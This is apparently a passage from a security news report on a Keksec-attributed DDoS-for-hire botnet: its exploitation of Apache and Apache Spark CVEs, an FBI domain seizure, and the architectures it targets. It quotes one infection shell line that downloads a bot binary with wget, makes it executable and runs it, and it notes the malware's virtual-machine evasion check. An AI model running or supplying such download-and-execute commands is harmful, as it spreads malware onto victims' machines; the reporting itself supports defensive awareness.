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. “This service enables an entire suite of activities, including scalable exploitation of bots, vulnerability and exploit management, remote management of C2 infrastructure, file uploads and downloads, remote command execution, and the ability to tailor IoT-based distributed denial of service (DDoS) attacks at-scale.”
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com) with links to the bot was among the 48 domains associated with DDoS-for-hire services seized by the FBI in December. The most recent variant spotted by Microsoft spreads by exploiting vulnerabilities in Apache and Apache Spark ( CVE-2021-42013 and CVE-2022-33891 respectively) and also supports new DDoS attack capabilities.
The botnet was first discovered by Fortinet in March, the DDoS botnet targeted several routers and web servers by exploiting known vulnerabilities. The botnet targets multiple architectures, including arm, bsd, x64, and x86. The researchers attribute the botnet to the cybercrime group Keksec which focuses on DDoS-based extortion.
cd /tmp; rm arm7; wget [link] chmod 777 *; /arm7 tbk Typically, bot infections involve shell scripts that initially survey the target machine to determine its architecture and select the corresponding binary. Using this information, the malware verifies if there are any processes with VMware or QEMU-arm in their command line.
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